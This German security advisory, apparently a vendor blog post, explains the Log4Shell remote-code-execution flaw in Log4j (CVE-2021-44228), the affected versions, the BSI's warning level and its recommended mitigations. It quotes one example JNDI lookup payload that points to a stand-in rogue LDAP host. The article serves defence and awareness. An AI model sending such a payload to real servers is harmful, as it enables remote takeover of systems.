Log4j - Kritische Zero-Day-Schwachstelle in Logging-Bibliothek

Schwachstelle in Log4j ist eine Gefahr für Apps und Server

Die Zero-Day-Lücke Log4Shell gilt als ausgesprochen sicherheitskritisch. Sie ermöglicht es Angreifern, in der weit verbreiteten Java-Logging-Bibliothek beliebigen Code auszuführen. Das Problem: Log4j ist äußerst verbreitet – selbst Dienste wie Amazon, Apple, Steam und Twitter setzen darauf. Dabei handelt es sich jedoch nur um die bekanntesten Namen. Fachleute gehen davon aus, dass die Schwachstelle zahlreiche kleinere Dienste ebenfalls betrifft.

Wichtig: Administratoren müssen umgehend handeln! Der verfügbare Proof-of-Concept-Code zeigt, wie Angreifer diese Log4j-Zero-Day-Lücke ausnutzen können. Erste Angriffe sind bereits bekannt geworden.

Wie dringend bei solchen Zero-Day-Attacken reagiert werden muss, verdeutlicht auch das Fallbeispiel GraphQL. Laut den OWASP Top Ten bietet es Cyberkriminellen einige der gravierendsten Angriffsvektoren. Dasselbe gilt für den PrintNightmare, der kürzlich viele Unternehmen in Aufruhr versetzte. Beide Fälle belegen, dass regelmäßige Pentests und ein hohes IT-Sicherheitsniveau für Unternehmen unverzichtbar sind.

Ähnlich wie beim PrintNightmare oder dem Fallbeispiel GraphQL nutzen Angreifer manipulierte Anfragen für ihre Zwecke und senden diese an einen verwundbaren Server oder eine Anwendung. Im Fall von Log4j erscheint daraufhin eine Zeichenkette im Protokoll. Diese veranlasst beispielsweise den Java Steam Bot, Daten aus potenziell bösartigen Java-Klassen zu laden. Da der betreffende Server vom Angreifer kontrolliert wird, gelingt es ihm auf diese Weise, den fremden Server zu übernehmen.

Aufgrund der Tragweite der Log4j-Lücke warnt das Bundesamt für Sicherheit in der Informationstechnik (BSI) mit der höchsten Warnstufe. Ein wesentlicher Grund dafür ist, dass das tatsächliche Ausmaß des Problems noch nicht abschließend bekannt ist. Da Angreifer die Schwachstelle derzeit aktiv ausnutzen, besteht für Unternehmen akuter Handlungsbedarf.

So bewertet das BSI den Sachverhalt

Das BSI hat eine ausführliche Stellungnahme zur gefährlichen Log4j-Schwachstelle veröffentlicht. Darin warnt das Bundesamt vor den Folgen eines Angriffs auf die weit verbreitete Protokollierungsbibliothek. Die Schwachstelle ermöglicht es Angreifern, eigenen Quellcode auf dem Zielsystem auszuführen und so den betroffenen Server zu kompromittieren.

Der Proof-of-Concept-Code ist auf GitHub verfügbar und wurde unter TWI2021 auf Twitter geteilt. Weitere Beispiele verdeutlichen, wie anfällig Log4j für Angriffe ist. Gleichzeitig stehen Skripte bereit, mit denen Sie Ihre eigenen Logfiles auf Verwundbarkeit prüfen können. Diese bieten jedoch keine hundertprozentige Sicherheit und sollten regelmäßige Pentests keinesfalls ersetzen – denn erst solche Maßnahmen helfen dabei, Sicherheitslücken nachhaltig zu schließen.

Ein wichtiger Faktor ist laut BSI, dass sich die Log4j-Problematik auf das gesamte Internet erstrecken könnte: Sobald Java-Anwendungen über das Internet erreichbar sind und Teile der Nutzeranfragen per Log4j protokollieren, sind auch diese Programme potenziell gefährdet.

Diese Log4j-Versionen sind von der Sicherheitslücke betroffen

Betroffen sind die Versionen 2.0-beta9 bis einschließlich 2.14.1. Mit der neu veröffentlichten Version 2.15.0 hat das Apache-Projekt die Lücke kurzfristig geschlossen. Durch ein Update auf die aktuelle Version ist die Gefahr somit gebannt. Darüber hinaus haben die Apache-Entwickler Maßnahmen veröffentlicht, mit denen sich das Problem auch ohne Versionsupdate beheben lässt. Diese Anpassungen betreffen insbesondere die Lookups.

Mittlerweile ist zudem bekannt, dass nicht nur die 2er-Versionen von Log4j betroffen sind. Auch Version 1 lässt sich unter bestimmten Umständen für solche Angriffe missbrauchen. Wenn Sie noch auf diese Version setzen, müssen Sie daher umgehend handeln. Da Version 1 bereits End-of-Life ist und nicht mehr offiziell gepflegt wird, steht kein Sicherheitsupdate bereit.

Beschreibung des Angriffs mit Schritten zur Behebung

Die Schwachstelle liegt in der Art und Weise, wie der Log4j-Prozessor Protokollnachrichten verarbeitet. Sendet ein Angreifer eine speziell präparierte Nachricht (die beispielsweise eine Zeichenkette wie ${jndi:ldap://rogueldapserver.com/a} enthält), kann dies dazu führen, dass eine externe Codeklasse geladen und ausgeführt wird. Dieses Szenario ist als Remote Code Execution (RCE) bekannt. Die folgende Grafik veranschaulicht den Angriff und die empfohlenen Gegenmaßnahmen.

Quelle - Computer Emergency Response Team (GovCERT) of the Swiss government

Die Zero-Day-Lücke hat bereits eine CVE-Nummer

Angesichts der kritischen Lage und des potenziellen Schadensausmaßes hat die Zero-Day-Schwachstelle bereits eine CVE-Nummer erhalten: CVE-2021-44228. Das Risiko wird als kritisch eingestuft, da zahlreiche Dienste und Anwendungen die Bibliothek verwenden.

Das BSI ordnet der Log4j-Sicherheitslücke die Stufe 4/Rot zu

Da zahlreiche Java-basierte Anwendungen auf Log4j aufbauen, ist ein Ausnutzen dieser Sicherheitslücke sehr wahrscheinlich. Gleichzeitig ist das Patch-Management bei solchen Anwendungen alles andere als trivial. Daher empfiehlt es sich, auf kurzfristige Mitigationsmaßnahmen zu setzen, bis ein vollständiges Update verfügbar ist.

Die Einstufung auf Stufe 4 durch das BSI verdeutlicht, wie kritisch die Lage tatsächlich ist. Selbst grundschutzkonform eingerichtete Systeme sind gegen einen Angriff nicht vollständig geschützt. Sollte ein direkter Angriff fehlschlagen, stehen Angreifern weitere Angriffsvektoren zur Verfügung. Die Komplexität der einzelnen Systeme stellt dabei das größte Hindernis für Unternehmen dar, die ihre Sicherheit verbessern möchten – selbst wenn das Budget für Web-Sicherheit großzügig bemessen ist.

Besonders kritisch ist laut BSI die Bedrohungslage in den Bereichen Anwendungen und Geschäftsprozesse. Zwar werden breitflächige Scans durchgeführt, doch die Systeme bleiben anfällig für nachfolgende Infektionen. Der Grund: fehlende Patches und eine unzureichende Reaktions- und Detektionsfähigkeit innerhalb der IT-Sektoren.

Das tatsächliche Ausmaß der Log4j-Schwachstelle ist noch nicht absehbar

Das Gefährliche an der Log4j-Problematik – auch Log4Shell genannt – ist, dass nicht nur einzelne Anwendungen betroffen sind. Tatsächlich könnte ein Großteil der Server im Internet von der aktuellen Sicherheitslücke betroffen sein.

Das bedeutet: Selbst über das Internet erreichbare Anwendungen, die Nutzeranfragen über Log4j protokollieren, wären gefährdet. Betroffen ist unter anderem das besondere elektronische Anwaltspostfach (BeA). Dasselbe gilt für den Java Steam Bot. Unternehmen, die diese Technologie in ihren Anwendungen einsetzen, sollten daher schnellstmöglich handeln.

Folgende Maßnahmen empfiehlt das BSI

Das BSI betont, wie wichtig es ist, die Angriffsfläche verwundbarer Systeme schnellstmöglich zu reduzieren. Dabei ist zu beachten, dass ein Nachladen von Schadcode für das Ausnutzen der Schwachstelle nicht zwingend erforderlich ist – bereits eine einzige Anfrage kann Angreifern Zugang verschaffen. Das BSI empfiehlt insbesondere folgende Maßnahmen:

• Schalten Sie nicht zwingend benötigte Systeme vorübergehend ab. Blockieren Sie außerdem Verbindungen, die nicht dringend erforderlich sind.
• Führen Sie auf dem Host eine Anomalieerkennung durch. Prüfen Sie in diesem Zuge, welche Rechte die betroffenen Dienste besitzen, und reduzieren Sie die Berechtigungen auf das notwendige Minimum.
• Unterziehen Sie ein- und ausgehende Verbindungen einer umfassenden Protokollierung. So lässt sich eine mögliche Kompromittierung im Nachhinein leichter feststellen.
• Trennen Sie Verbindungen zu anderen Systemen. Für Systeme, die nach Bekanntwerden der Schwachstelle gepatcht wurden, sind zusätzliche Prüfungen erforderlich, um festzustellen, ob sie bereits kompromittiert wurden. Dies gilt nicht nur für Systeme mit direkter Internetanbindung.
• Weisen Sie über Web-Application-Firewalls, Reverse Proxies und Intrusion-Prevention-Systeme Verbindungen mit erkennbaren Angriffsmustern direkt ab. Setzen Sie zudem HTTP-Header auf statische Werte, sofern diese nicht zwingend benötigt werden.